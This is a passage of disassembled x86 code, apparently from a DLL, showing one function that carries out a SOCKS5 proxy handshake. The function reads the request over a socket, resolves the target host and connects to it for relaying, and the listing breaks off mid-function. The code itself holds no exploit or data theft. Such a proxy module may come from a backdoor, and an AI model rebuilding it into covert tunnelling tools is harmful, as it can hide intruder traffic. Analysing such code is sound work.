var_C520	= dword	ptr -0C520h
var_C51C	= dword	ptr -0C51Ch
var_C518	= dword	ptr -0C518h
var_C514	= byte ptr -0C514h
var_C510	= byte ptr -0C510h
var_C50C	= dword	ptr -0C50Ch
var_C508	= dword	ptr -0C508h
var_C504	= dword	ptr -0C504h
var_C500	= dword	ptr -0C500h
var_C4FC	= word ptr -0C4FCh
var_C4FA	= word ptr -0C4FAh
var_C4F8	= dword	ptr -0C4F8h
var_C4EC	= dword	ptr -0C4ECh
var_C4E8	= word ptr -0C4E8h
var_C4E6	= word ptr -0C4E6h
Dst		= dword	ptr -0C4E4h
var_C4D8	= dword	ptr -0C4D8h
var_C4D4	= dword	ptr -0C4D4h
var_C4D0	= dword	ptr -0C4D0h
var_C4CC	= byte ptr -0C4CCh
var_C4C8	= dword	ptr -0C4C8h
var_C4C4	= dword	ptr -0C4C4h
var_C4C0	= dword	ptr -0C4C0h
var_C4BC	= dword	ptr -0C4BCh
var_C4B8	= dword	ptr -0C4B8h
var_C4B4	= dword	ptr -0C4B4h
var_C4B0	= dword	ptr -0C4B0h
var_C4AC	= dword	ptr -0C4ACh
readfds		= fd_set ptr -0C4A8h
len		= dword	ptr -0C3A4h
var_C3A0	= dword	ptr -0C3A0h
timeout		= timeval ptr -0C39Ch
var_C394	= dword	ptr -0C394h
var_C390	= dword	ptr -0C390h
var_C38C	= byte ptr -0C38Ch
name		= dword	ptr -0C388h
var_C384	= byte ptr -0C384h
var_C380	= byte ptr -0C380h
var_C37C	= byte ptr -0C37Ch
var_C378	= word ptr -0C378h
ThreadId	= dword	ptr -0C374h
s		= dword	ptr -0C370h
buf		= byte ptr -0C36Ch
var_C368	= byte ptr -0C368h
lpParameter	= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset SEH_10015BF1
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	eax, 0C510h
		call	__alloca_probe
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_10], esp
		mov	[ebp+var_4], 0
		mov	eax, [ebp+arg_0]
		mov	[ebp+s], eax
		mov	[ebp+readfds.fd_count],	0
		mov	[ebp+timeout.tv_sec], 0
		mov	[ebp+timeout.tv_usec], 989680h


loc_10015C48:				; CODE XREF: sub_10015BF1+D6j
		mov	[ebp+var_C4B0],	0
		jmp	short loc_10015C63
; ---------------------------------------------------------------------------


loc_10015C54:				; CODE XREF: sub_10015BF1:loc_10015C88j
		mov	ecx, [ebp+var_C4B0]
		add	ecx, 1
		mov	[ebp+var_C4B0],	ecx


loc_10015C63:				; CODE XREF: sub_10015BF1+61j
		mov	edx, [ebp+var_C4B0]
		cmp	edx, [ebp+readfds.fd_count]
		jnb	short loc_10015C8A
		mov	eax, [ebp+var_C4B0]
		mov	ecx, [ebp+eax*4+readfds.fd_array]
		cmp	ecx, [ebp+s]
		jnz	short loc_10015C88
		jmp	short loc_10015C8A
; ---------------------------------------------------------------------------


loc_10015C88:				; CODE XREF: sub_10015BF1+93j
		jmp	short loc_10015C54
; ---------------------------------------------------------------------------


loc_10015C8A:				; CODE XREF: sub_10015BF1+7Ej
					; sub_10015BF1+95j
		mov	edx, [ebp+var_C4B0]
		cmp	edx, [ebp+readfds.fd_count]
		jnz	short loc_10015CC3
		cmp	[ebp+readfds.fd_count],	40h
		jnb	short loc_10015CC3
		mov	eax, [ebp+var_C4B0]
		mov	ecx, [ebp+s]
		mov	[ebp+eax*4+readfds.fd_array], ecx
		mov	edx, [ebp+readfds.fd_count]
		add	edx, 1
		mov	[ebp+readfds.fd_count],	edx


loc_10015CC3:				; CODE XREF: sub_10015BF1+A5j
					; sub_10015BF1+AEj
		xor	eax, eax
		test	eax, eax
		jnz	loc_10015C48
		lea	ecx, [ebp+timeout]
		push	ecx		; timeout
		push	0		; exceptfds
		push	0		; writefds
		lea	edx, [ebp+readfds]
		push	edx		; readfds
		push	0		; nfds
		call	ds:select	; select
		push	0		; flags
		push	1		; len
		lea	eax, [ebp+buf]
		push	eax		; buf
		mov	ecx, [ebp+s]
		push	ecx		; s
		call	ds:recv	; recv
		mov	[ebp+len], eax
		cmp	[ebp+len], 0FFFFFFFFh
		jnz	short loc_10015D25
		mov	edx, [ebp+s]
		push	edx		; s
		call	ds:closesocket	; closesocket
		mov	eax, 2
		jmp	loc_10016AA0
; ---------------------------------------------------------------------------


loc_10015D25:				; CODE XREF: sub_10015BF1+11Bj
		mov	[ebp+var_C384],	0


loc_10015D2C:				; CODE XREF: sub_10015BF1+1BAj
		mov	[ebp+var_C4B4],	0
		jmp	short loc_10015D47
; ---------------------------------------------------------------------------


loc_10015D38:				; CODE XREF: sub_10015BF1:loc_10015D6Cj
		mov	eax, [ebp+var_C4B4]
		add	eax, 1
		mov	[ebp+var_C4B4],	eax


loc_10015D47:				; CODE XREF: sub_10015BF1+145j
		mov	ecx, [ebp+var_C4B4]
		cmp	ecx, [ebp+readfds.fd_count]
		jnb	short loc_10015D6E
		mov	edx, [ebp+var_C4B4]
		mov	eax, [ebp+edx*4+readfds.fd_array]
		cmp	eax, [ebp+s]
		jnz	short loc_10015D6C
		jmp	short loc_10015D6E
; ---------------------------------------------------------------------------


loc_10015D6C:				; CODE XREF: sub_10015BF1+177j
		jmp	short loc_10015D38
; ---------------------------------------------------------------------------


loc_10015D6E:				; CODE XREF: sub_10015BF1+162j
					; sub_10015BF1+179j
		mov	ecx, [ebp+var_C4B4]
		cmp	ecx, [ebp+readfds.fd_count]
		jnz	short loc_10015DA7
		cmp	[ebp+readfds.fd_count],	40h
		jnb	short loc_10015DA7
		mov	edx, [ebp+var_C4B4]
		mov	eax, [ebp+s]
		mov	[ebp+edx*4+readfds.fd_array], eax
		mov	ecx, [ebp+readfds.fd_count]
		add	ecx, 1
		mov	[ebp+readfds.fd_count],	ecx


loc_10015DA7:				; CODE XREF: sub_10015BF1+189j
					; sub_10015BF1+192j
		xor	edx, edx
		test	edx, edx
		jnz	loc_10015D2C
		lea	eax, [ebp+timeout]
		push	eax		; timeout
		push	0		; exceptfds
		push	0		; writefds
		lea	ecx, [ebp+readfds]
		push	ecx		; readfds
		push	0		; nfds
		call	ds:select	; select
		push	0		; flags
		push	1		; len
		lea	edx, [ebp+var_C384]
		push	edx		; buf
		mov	eax, [ebp+s]
		push	eax		; s
		call	ds:recv	; recv
		mov	[ebp+len], eax
		cmp	[ebp+len], 0FFFFFFFFh
		jnz	short loc_10015E09
		mov	ecx, [ebp+s]
		push	ecx		; s
		call	ds:closesocket	; closesocket
		mov	eax, 2
		jmp	loc_10016AA0
; ---------------------------------------------------------------------------


loc_10015E09:				; CODE XREF: sub_10015BF1+1FFj
		movsx	edx, [ebp+var_C384]
		push	edx		; Size
		call	ds:malloc	; malloc
		add	esp, 4
		mov	[ebp+var_C390],	eax
		mov	[ebp+var_C394],	0
		jmp	short loc_10015E3B
; ---------------------------------------------------------------------------


loc_10015E2C:				; CODE XREF: sub_10015BF1:loc_10015F31j
		mov	eax, [ebp+var_C394]
		add	eax, 1
		mov	[ebp+var_C394],	eax


loc_10015E3B:				; CODE XREF: sub_10015BF1+239j
		movsx	ecx, [ebp+var_C384]
		cmp	[ebp+var_C394],	ecx
		jge	loc_10015F36


loc_10015E4E:				; CODE XREF: sub_10015BF1+2DCj
		mov	[ebp+var_C4B8],	0
		jmp	short loc_10015E69
; ---------------------------------------------------------------------------


loc_10015E5A:				; CODE XREF: sub_10015BF1:loc_10015E8Ej
		mov	edx, [ebp+var_C4B8]
		add	edx, 1
		mov	[ebp+var_C4B8],	edx


loc_10015E69:				; CODE XREF: sub_10015BF1+267j
		mov	eax, [ebp+var_C4B8]
		cmp	eax, [ebp+readfds.fd_count]
		jnb	short loc_10015E90
		mov	ecx, [ebp+var_C4B8]
		mov	edx, [ebp+ecx*4+readfds.fd_array]
		cmp	edx, [ebp+s]
		jnz	short loc_10015E8E
		jmp	short loc_10015E90
; ---------------------------------------------------------------------------


loc_10015E8E:				; CODE XREF: sub_10015BF1+299j
		jmp	short loc_10015E5A
; ---------------------------------------------------------------------------


loc_10015E90:				; CODE XREF: sub_10015BF1+284j
					; sub_10015BF1+29Bj
		mov	eax, [ebp+var_C4B8]
		cmp	eax, [ebp+readfds.fd_count]
		jnz	short loc_10015EC9
		cmp	[ebp+readfds.fd_count],	40h
		jnb	short loc_10015EC9
		mov	ecx, [ebp+var_C4B8]
		mov	edx, [ebp+s]
		mov	[ebp+ecx*4+readfds.fd_array], edx
		mov	eax, [ebp+readfds.fd_count]
		add	eax, 1
		mov	[ebp+readfds.fd_count],	eax


loc_10015EC9:				; CODE XREF: sub_10015BF1+2ABj
					; sub_10015BF1+2B4j
		xor	ecx, ecx
		test	ecx, ecx
		jnz	loc_10015E4E
		lea	edx, [ebp+timeout]
		push	edx		; timeout
		push	0		; exceptfds
		push	0		; writefds
		lea	eax, [ebp+readfds]
		push	eax		; readfds
		push	0		; nfds
		call	ds:select	; select
		push	0		; flags
		push	1		; len
		mov	ecx, [ebp+var_C390]
		add	ecx, [ebp+var_C394]
		push	ecx		; buf
		mov	edx, [ebp+s]
		push	edx		; s
		call	ds:recv	; recv
		mov	[ebp+len], eax
		cmp	[ebp+len], 0FFFFFFFFh
		jnz	short loc_10015F31
		mov	eax, [ebp+s]
		push	eax		; s
		call	ds:closesocket	; closesocket
		mov	eax, 2
		jmp	loc_10016AA0
; ---------------------------------------------------------------------------


loc_10015F31:				; CODE XREF: sub_10015BF1+327j
		jmp	loc_10015E2C
; ---------------------------------------------------------------------------


loc_10015F36:				; CODE XREF: sub_10015BF1+257j
		push	2		; Size
		call	ds:malloc	; malloc
		add	esp, 4
		mov	[ebp+var_C4AC],	eax
		mov	ecx, [ebp+var_C4AC]
		mov	byte ptr [ecx],	5
		movsx	edx, [ebp+buf]
		cmp	edx, 5
		jz	short loc_10015F68
		mov	eax, [ebp+var_C4AC]
		mov	byte ptr [eax+1], 0FFh
		jmp	short loc_10015F72
; ---------------------------------------------------------------------------


loc_10015F68:				; CODE XREF: sub_10015BF1+369j
		mov	ecx, [ebp+var_C4AC]
		mov	byte ptr [ecx+1], 0


loc_10015F72:				; CODE XREF: sub_10015BF1+375j
		push	0		; flags
		push	2		; len
		mov	edx, [ebp+var_C4AC]
		push	edx		; buf
		mov	eax, [ebp+s]
		push	eax		; s
		call	ds:send	; send
		mov	[ebp+len], eax
		cmp	[ebp+len], 0FFFFFFFFh
		jnz	short loc_10015FB0
		mov	ecx, [ebp+s]
		push	ecx		; s
		call	ds:closesocket	; closesocket
		mov	eax, 2
		jmp	loc_10016AA0
; ---------------------------------------------------------------------------


loc_10015FB0:				; CODE XREF: sub_10015BF1+3A6j
					; sub_10015BF1+43Ej
		mov	[ebp+var_C4BC],	0
		jmp	short loc_10015FCB
; ---------------------------------------------------------------------------


loc_10015FBC:				; CODE XREF: sub_10015BF1:loc_10015FF0j
		mov	edx, [ebp+var_C4BC]
		add	edx, 1
		mov	[ebp+var_C4BC],	edx


loc_10015FCB:				; CODE XREF: sub_10015BF1+3C9j
		mov	eax, [ebp+var_C4BC]
		cmp	eax, [ebp+readfds.fd_count]
		jnb	short loc_10015FF2
		mov	ecx, [ebp+var_C4BC]
		mov	edx, [ebp+ecx*4+readfds.fd_array]
		cmp	edx, [ebp+s]
		jnz	short loc_10015FF0
		jmp	short loc_10015FF2
; ---------------------------------------------------------------------------


loc_10015FF0:				; CODE XREF: sub_10015BF1+3FBj
		jmp	short loc_10015FBC
; ---------------------------------------------------------------------------


loc_10015FF2:				; CODE XREF: sub_10015BF1+3E6j
					; sub_10015BF1+3FDj
		mov	eax, [ebp+var_C4BC]
		cmp	eax, [ebp+readfds.fd_count]
		jnz	short loc_1001602B
		cmp	[ebp+readfds.fd_count],	40h
		jnb	short loc_1001602B
		mov	ecx, [ebp+var_C4BC]
		mov	edx, [ebp+s]
		mov	[ebp+ecx*4+readfds.fd_array], edx
		mov	eax, [ebp+readfds.fd_count]
		add	eax, 1
		mov	[ebp+readfds.fd_count],	eax


loc_1001602B:				; CODE XREF: sub_10015BF1+40Dj
					; sub_10015BF1+416j
		xor	ecx, ecx
		test	ecx, ecx
		jnz	loc_10015FB0
		lea	edx, [ebp+timeout]
		push	edx		; timeout
		push	0		; exceptfds
		push	0		; writefds
		lea	eax, [ebp+readfds]
		push	eax		; readfds
		push	0		; nfds
		call	ds:select	; select
		push	0		; flags
		push	1		; len
		lea	ecx, [ebp+buf]
		push	ecx		; buf
		mov	edx, [ebp+s]
		push	edx		; s
		call	ds:recv	; recv
		mov	[ebp+len], eax
		cmp	[ebp+len], 0FFFFFFFFh
		jnz	short loc_1001608D
		mov	eax, [ebp+s]
		push	eax		; s
		call	ds:closesocket	; closesocket
		mov	eax, 2
		jmp	loc_10016AA0
; ---------------------------------------------------------------------------


loc_1001608D:				; CODE XREF: sub_10015BF1+483j
					; sub_10015BF1+51Bj
		mov	[ebp+var_C4C0],	0
		jmp	short loc_100160A8
; ---------------------------------------------------------------------------


loc_10016099:				; CODE XREF: sub_10015BF1:loc_100160CDj
		mov	ecx, [ebp+var_C4C0]
		add	ecx, 1
		mov	[ebp+var_C4C0],	ecx


loc_100160A8:				; CODE XREF: sub_10015BF1+4A6j
		mov	edx, [ebp+var_C4C0]
		cmp	edx, [ebp+readfds.fd_count]
		jnb	short loc_100160CF
		mov	eax, [ebp+var_C4C0]
		mov	ecx, [ebp+eax*4+readfds.fd_array]
		cmp	ecx, [ebp+s]
		jnz	short loc_100160CD
		jmp	short loc_100160CF
; ---------------------------------------------------------------------------


loc_100160CD:				; CODE XREF: sub_10015BF1+4D8j
		jmp	short loc_10016099
; ---------------------------------------------------------------------------


loc_100160CF:				; CODE XREF: sub_10015BF1+4C3j
					; sub_10015BF1+4DAj
		mov	edx, [ebp+var_C4C0]
		cmp	edx, [ebp+readfds.fd_count]
		jnz	short loc_10016108
		cmp	[ebp+readfds.fd_count],	40h
		jnb	short loc_10016108
		mov	eax, [ebp+var_C4C0]
		mov	ecx, [ebp+s]
		mov	[ebp+eax*4+readfds.fd_array], ecx
		mov	edx, [ebp+readfds.fd_count]
		add	edx, 1
		mov	[ebp+readfds.fd_count],	edx


loc_10016108:				; CODE XREF: sub_10015BF1+4EAj
					; sub_10015BF1+4F3j
		xor	eax, eax
		test	eax, eax
		jnz	loc_1001608D
		lea	ecx, [ebp+timeout]
		push	ecx		; timeout
		push	0		; exceptfds
		push	0		; writefds
		lea	edx, [ebp+readfds]
		push	edx		; readfds
		push	0		; nfds
		call	ds:select	; select
		push	0		; flags
		push	1		; len
		lea	eax, [ebp+var_C380]
		push	eax		; buf
		mov	ecx, [ebp+s]
		push	ecx		; s
		call	ds:recv	; recv
		mov	[ebp+len], eax
		cmp	[ebp+len], 0FFFFFFFFh
		jnz	short loc_1001616A
		mov	edx, [ebp+s]
		push	edx		; s
		call	ds:closesocket	; closesocket
		mov	eax, 2
		jmp	loc_10016AA0
; ---------------------------------------------------------------------------


loc_1001616A:				; CODE XREF: sub_10015BF1+560j
					; sub_10015BF1+5F8j
		mov	[ebp+var_C4C4],	0
		jmp	short loc_10016185
; ---------------------------------------------------------------------------


loc_10016176:				; CODE XREF: sub_10015BF1:loc_100161AAj
		mov	eax, [ebp+var_C4C4]
		add	eax, 1
		mov	[ebp+var_C4C4],	eax


loc_10016185:				; CODE XREF: sub_10015BF1+583j
		mov	ecx, [ebp+var_C4C4]
		cmp	ecx, [ebp+readfds.fd_count]
		jnb	short loc_100161AC
		mov	edx, [ebp+var_C4C4]
		mov	eax, [ebp+edx*4+readfds.fd_array]
		cmp	eax, [ebp+s]
		jnz	short loc_100161AA
		jmp	short loc_100161AC
; ---------------------------------------------------------------------------


loc_100161AA:				; CODE XREF: sub_10015BF1+5B5j
		jmp	short loc_10016176
; ---------------------------------------------------------------------------


loc_100161AC:				; CODE XREF: sub_10015BF1+5A0j
					; sub_10015BF1+5B7j
		mov	ecx, [ebp+var_C4C4]
		cmp	ecx, [ebp+readfds.fd_count]
		jnz	short loc_100161E5
		cmp	[ebp+readfds.fd_count],	40h
		jnb	short loc_100161E5
		mov	edx, [ebp+var_C4C4]
		mov	eax, [ebp+s]
		mov	[ebp+edx*4+readfds.fd_array], eax
		mov	ecx, [ebp+readfds.fd_count]
		add	ecx, 1
		mov	[ebp+readfds.fd_count],	ecx


loc_100161E5:				; CODE XREF: sub_10015BF1+5C7j
					; sub_10015BF1+5D0j
		xor	edx, edx
		test	edx, edx
		jnz	loc_1001616A
		lea	eax, [ebp+timeout]
		push	eax		; timeout
		push	0		; exceptfds
		push	0		; writefds
		lea	ecx, [ebp+readfds]
		push	ecx		; readfds
		push	0		; nfds
		call	ds:select	; select
		push	0		; flags
		push	1		; len
		lea	edx, [ebp+var_C37C]
		push	edx		; buf
		mov	eax, [ebp+s]
		push	eax		; s
		call	ds:recv	; recv
		mov	[ebp+len], eax
		cmp	[ebp+len], 0FFFFFFFFh
		jnz	short loc_10016247
		mov	ecx, [ebp+s]
		push	ecx		; s
		call	ds:closesocket	; closesocket
		mov	eax, 2
		jmp	loc_10016AA0
; ---------------------------------------------------------------------------


loc_10016247:				; CODE XREF: sub_10015BF1+63Dj
					; sub_10015BF1+6D5j
		mov	[ebp+var_C4C8],	0
		jmp	short loc_10016262
; ---------------------------------------------------------------------------


loc_10016253:				; CODE XREF: sub_10015BF1:loc_10016287j
		mov	edx, [ebp+var_C4C8]
		add	edx, 1
		mov	[ebp+var_C4C8],	edx


loc_10016262:				; CODE XREF: sub_10015BF1+660j
		mov	eax, [ebp+var_C4C8]
		cmp	eax, [ebp+readfds.fd_count]
		jnb	short loc_10016289
		mov	ecx, [ebp+var_C4C8]
		mov	edx, [ebp+ecx*4+readfds.fd_array]
		cmp	edx, [ebp+s]
		jnz	short loc_10016287
		jmp	short loc_10016289
; ---------------------------------------------------------------------------


loc_10016287:				; CODE XREF: sub_10015BF1+692j
		jmp	short loc_10016253
; ---------------------------------------------------------------------------


loc_10016289:				; CODE XREF: sub_10015BF1+67Dj
					; sub_10015BF1+694j
		mov	eax, [ebp+var_C4C8]
		cmp	eax, [ebp+readfds.fd_count]
		jnz	short loc_100162C2
		cmp	[ebp+readfds.fd_count],	40h
		jnb	short loc_100162C2
		mov	ecx, [ebp+var_C4C8]
		mov	edx, [ebp+s]
		mov	[ebp+ecx*4+readfds.fd_array], edx
		mov	eax, [ebp+readfds.fd_count]
		add	eax, 1
		mov	[ebp+readfds.fd_count],	eax


loc_100162C2:				; CODE XREF: sub_10015BF1+6A4j
					; sub_10015BF1+6ADj
		xor	ecx, ecx
		test	ecx, ecx
		jnz	loc_10016247
		lea	edx, [ebp+timeout]
		push	edx		; timeout
		push	0		; exceptfds
		push	0		; writefds
		lea	eax, [ebp+readfds]
		push	eax		; readfds
		push	0		; nfds
		call	ds:select	; select
		push	0		; flags
		push	1		; len
		lea	ecx, [ebp+var_C38C]
		push	ecx		; buf
		mov	edx, [ebp+s]
		push	edx		; s
		call	ds:recv	; recv
		mov	[ebp+len], eax
		cmp	[ebp+len], 0FFFFFFFFh
		jnz	short loc_10016324
		mov	eax, [ebp+s]
		push	eax		; s
		call	ds:closesocket	; closesocket
		mov	eax, 2
		jmp	loc_10016AA0
; ---------------------------------------------------------------------------


loc_10016324:				; CODE XREF: sub_10015BF1+71Aj
		mov	cl, [ebp+var_C38C]
		mov	[ebp+var_C510],	cl
		cmp	[ebp+var_C510],	1
		jz	short loc_10016347
		cmp	[ebp+var_C510],	3
		jz	short loc_1001639B
		jmp	loc_10016586
; ---------------------------------------------------------------------------


loc_10016347:				; CODE XREF: sub_10015BF1+746j
		push	4		; Size
		call	ds:malloc	; malloc
		add	esp, 4
		mov	[ebp+name], eax
		push	0		; flags
		push	4		; len
		mov	edx, [ebp+name]
		push	edx		; buf
		mov	eax, [ebp+s]
		push	eax		; s
		call	ds:recv	; recv
		mov	[ebp+len], eax
		cmp	[ebp+len], 0FFFFFFFFh
		jnz	short loc_10016396
		mov	ecx, [ebp+s]
		push	ecx		; s
		call	ds:closesocket	; closesocket
		mov	eax, 2
		jmp	loc_10016AA0
; ---------------------------------------------------------------------------


loc_10016396:				; CODE XREF: sub_10015BF1+78Cj
		jmp	loc_10016586
; ---------------------------------------------------------------------------


loc_1001639B:				; CODE XREF: sub_10015BF1+74Fj
					; sub_10015BF1+829j
		mov	[ebp+var_C4D0],	0
		jmp	short loc_100163B6
; ---------------------------------------------------------------------------


loc_100163A7:				; CODE XREF: sub_10015BF1:loc_100163DBj
		mov	edx, [ebp+var_C4D0]
		add	edx, 1
		mov	[ebp+var_C4D0],	edx


loc_100163B6:				; CODE XREF: sub_10015BF1+7B4j
		mov	eax, [ebp+var_C4D0]
		cmp	eax, [ebp+readfds.fd_count]
		jnb	short loc_100163DD
		mov	ecx, [ebp+var_C4D0]
		mov	edx, [ebp+ecx*4+readfds.fd_array]
		cmp	edx, [ebp+s]
		jnz	short loc_100163DB
		jmp	short loc_100163DD
; ---------------------------------------------------------------------------


loc_100163DB:				; CODE XREF: sub_10015BF1+7E6j
		jmp	short loc_100163A7
; ---------------------------------------------------------------------------


loc_100163DD:				; CODE XREF: sub_10015BF1+7D1j
					; sub_10015BF1+7E8j
		mov	eax, [ebp+var_C4D0]
		cmp	eax, [ebp+readfds.fd_count]
		jnz	short loc_10016416
		cmp	[ebp+readfds.fd_count],	40h
		jnb	short loc_10016416
		mov	ecx, [ebp+var_C4D0]
		mov	edx, [ebp+s]
		mov	[ebp+ecx*4+readfds.fd_array], edx
		mov	eax, [ebp+readfds.fd_count]
		add	eax, 1
		mov	[ebp+readfds.fd_count],	eax


loc_10016416:				; CODE XREF: sub_10015BF1+7F8j
					; sub_10015BF1+801j
		xor	ecx, ecx
		test	ecx, ecx
		jnz	loc_1001639B
		lea	edx, [ebp+timeout]
		push	edx		; timeout
		push	0		; exceptfds
		push	0		; writefds
		lea	eax, [ebp+readfds]
		push	eax		; readfds
		push	0		; nfds
		call	ds:select	; select
		push	0		; flags
		push	1		; len
		lea	ecx, [ebp+var_C4CC]
		push	ecx		; buf
		mov	edx, [ebp+s]
		push	edx		; s
		call	ds:recv	; recv
		mov	[ebp+len], eax
		cmp	[ebp+len], 0FFFFFFFFh
		jnz	short loc_10016478
		mov	eax, [ebp+s]
		push	eax		; s
		call	ds:closesocket	; closesocket
		mov	eax, 2
		jmp	loc_10016AA0
; ---------------------------------------------------------------------------


loc_10016478:				; CODE XREF: sub_10015BF1+86Ej
		movsx	ecx, [ebp+var_C4CC]
		add	ecx, 1
		push	ecx		; Size
		call	ds:malloc	; malloc
		add	esp, 4
		mov	[ebp+name], eax


loc_10016492:				; CODE XREF: sub_10015BF1+920j
		mov	[ebp+var_C4D4],	0
		jmp	short loc_100164AD
; ---------------------------------------------------------------------------


loc_1001649E:				; CODE XREF: sub_10015BF1:loc_100164D2j
		mov	edx, [ebp+var_C4D4]
		add	edx, 1
		mov	[ebp+var_C4D4],	edx


loc_100164AD:				; CODE XREF: sub_10015BF1+8ABj
		mov	eax, [ebp+var_C4D4]
		cmp	eax, [ebp+readfds.fd_count]
		jnb	short loc_100164D4
		mov	ecx, [ebp+var_C4D4]
		mov	edx, [ebp+ecx*4+readfds.fd_array]
		cmp	edx, [ebp+s]
		jnz	short loc_100164D2
		jmp	short loc_100164D4
; ---------------------------------------------------------------------------


loc_100164D2:				; CODE XREF: sub_10015BF1+8DDj
		jmp	short loc_1001649E
; ---------------------------------------------------------------------------


loc_100164D4:				; CODE XREF: sub_10015BF1+8C8j
					; sub_10015BF1+8DFj
		mov	eax, [ebp+var_C4D4]
		cmp	eax, [ebp+readfds.fd_count]
		jnz	short loc_1001650D
		cmp	[ebp+readfds.fd_count],	40h
		jnb	short loc_1001650D
		mov	ecx, [ebp+var_C4D4]
		mov	edx, [ebp+s]
		mov	[ebp+ecx*4+readfds.fd_array], edx
		mov	eax, [ebp+readfds.fd_count]
		add	eax, 1
		mov	[ebp+readfds.fd_count],	eax


loc_1001650D:				; CODE XREF: sub_10015BF1+8EFj
					; sub_10015BF1+8F8j
		xor	ecx, ecx
		test	ecx, ecx
		jnz	loc_10016492
		lea	edx, [ebp+timeout]
		push	edx		; timeout
		push	0		; exceptfds
		push	0		; writefds
		lea	eax, [ebp+readfds]
		push	eax		; readfds
		push	0		; nfds
		call	ds:select	; select
		push	0		; flags
		movsx	ecx, [ebp+var_C4CC]
		push	ecx		; len
		mov	edx, [ebp+name]
		push	edx		; buf
		mov	eax, [ebp+s]
		push	eax		; s
		call	ds:recv	; recv
		mov	[ebp+len], eax
		cmp	[ebp+len], 0FFFFFFFFh
		jnz	short loc_10016575
		mov	ecx, [ebp+s]
		push	ecx		; s
		call	ds:closesocket	; closesocket
		mov	eax, 2
		jmp	loc_10016AA0
; ---------------------------------------------------------------------------


loc_10016575:				; CODE XREF: sub_10015BF1+96Bj
		movsx	edx, [ebp+var_C4CC]
		mov	eax, [ebp+name]
		mov	byte ptr [eax+edx], 0


loc_10016586:				; CODE XREF: sub_10015BF1+751j
					; sub_10015BF1:loc_10016396j ...
		mov	[ebp+var_C4D8],	0
		jmp	short loc_100165A1
; ---------------------------------------------------------------------------


loc_10016592:				; CODE XREF: sub_10015BF1:loc_100165C6j
		mov	ecx, [ebp+var_C4D8]
		add	ecx, 1
		mov	[ebp+var_C4D8],	ecx


loc_100165A1:				; CODE XREF: sub_10015BF1+99Fj
		mov	edx, [ebp+var_C4D8]
		cmp	edx, [ebp+readfds.fd_count]
		jnb	short loc_100165C8
		mov	eax, [ebp+var_C4D8]
		mov	ecx, [ebp+eax*4+readfds.fd_array]
		cmp	ecx, [ebp+s]
		jnz	short loc_100165C6
		jmp	short loc_100165C8
; ---------------------------------------------------------------------------


loc_100165C6:				; CODE XREF: sub_10015BF1+9D1j
		jmp	short loc_10016592
; ---------------------------------------------------------------------------


loc_100165C8:				; CODE XREF: sub_10015BF1+9BCj
					; sub_10015BF1+9D3j
		mov	edx, [ebp+var_C4D8]
		cmp	edx, [ebp+readfds.fd_count]
		jnz	short loc_10016601
		cmp	[ebp+readfds.fd_count],	40h
		jnb	short loc_10016601
		mov	eax, [ebp+var_C4D8]
		mov	ecx, [ebp+s]
		mov	[ebp+eax*4+readfds.fd_array], ecx
		mov	edx, [ebp+readfds.fd_count]
		add	edx, 1
		mov	[ebp+readfds.fd_count],	edx


loc_10016601:				; CODE XREF: sub_10015BF1+9E3j
					; sub_10015BF1+9ECj
		xor	eax, eax
		test	eax, eax
		jnz	loc_10016586
		lea	ecx, [ebp+timeout]
		push	ecx		; timeout
		push	0		; exceptfds
		push	0		; writefds
		lea	edx, [ebp+readfds]
		push	edx		; readfds
		push	0		; nfds
		call	ds:select	; select
		push	0		; flags
		push	2		; len
		lea	eax, [ebp+var_C378]
		push	eax		; buf
		mov	ecx, [ebp+s]
		push	ecx		; s
		call	ds:recv	; recv
		mov	[ebp+len], eax
		cmp	[ebp+len], 0FFFFFFFFh
		jnz	short loc_10016663
		mov	edx, [ebp+s]
		push	edx		; s
		call	ds:closesocket	; closesocket
		mov	eax, 2
		jmp	loc_10016AA0
; ---------------------------------------------------------------------------


loc_10016663:				; CODE XREF: sub_10015BF1+A59j
		push	6		; protocol
		push	1		; type
		push	2		; af
		call	ds:socket	; socket
		mov	[ebp+var_C3A0],	eax
		mov	al, [ebp+var_C380]
		mov	[ebp+var_C514],	al
		cmp	[ebp+var_C514],	1
		jz	short loc_1001669C
		cmp	[ebp+var_C514],	2
		jz	loc_10016766
		jmp	loc_100168EA
; ---------------------------------------------------------------------------


loc_1001669C:				; CODE XREF: sub_10015BF1+A97j
		mov	[ebp+var_C4E8],	2
		mov	cx, [ebp+var_C378]
		mov	[ebp+var_C4E6],	cx
		movsx	edx, [ebp+var_C38C]
		cmp	edx, 3
		jnz	short loc_100166FA
		mov	eax, [ebp+name]
		push	eax		; name
		call	ds:gethostbyname	; gethostbyname
		mov	[ebp+var_C4EC],	eax
		cmp	[ebp+var_C4EC],	0
		jz	short loc_100166F8
		push	4		; Size
		mov	ecx, [ebp+var_C4EC]
		mov	edx, [ecx+0Ch]
		mov	eax, [edx]
		push	eax		; Src
		lea	ecx, [ebp+Dst]
		push	ecx		; Dst
		call	memcpy	; memcpy
		add	esp, 0Ch


loc_100166F8:				; CODE XREF: sub_10015BF1+AE8j
		jmp	short loc_10016708
; ---------------------------------------------------------------------------


loc_100166FA:				; CODE XREF: sub_10015BF1+ACCj
		mov	edx, [ebp+name]
		mov	eax, [edx]
		mov	[ebp+Dst], eax


loc_10016708:				; CODE XREF: sub_10015BF1:loc_100166F8j
		push	10h		; namelen
		lea	ecx, [ebp+var_C4E8]
		push	ecx		; name
		mov	edx, [ebp+var_C3A0]
		push	edx		; s
		call	ds:connect	; connect
		mov	[ebp+len], eax
		cmp	[ebp+len], 0
		jz	short loc_1001674B
		mov	eax, [ebp+len]
		push	eax		; int
		mov	ecx, [ebp+s]
		push	ecx		; s
		call	sub_10014769
		add	esp, 8
		or	eax, 0FFFFFFFFh
		jmp	loc_10016AA0
; ---------------------------------------------------------------------------


loc_1001674B:				; CODE XREF: sub_10015BF1+B3Aj
		mov	edx, [ebp+var_C3A0]
		push	edx		; s
		mov	eax, [ebp+s]
		push	eax		; int
		call	sub_10014871
		add	esp, 8
		jmp	loc_100168EA
; ---------------------------------------------------------------------------


loc_10016766:				; CODE XREF: sub_10015BF1+AA0j
		mov	[ebp+var_C4FC],	2
		mov	cx, [ebp+var_C378]
		mov	[ebp+var_C4FA],	cx
		movsx	edx, [ebp+var_C38C]
		cmp	edx, 3
		jnz	short loc_100167BB
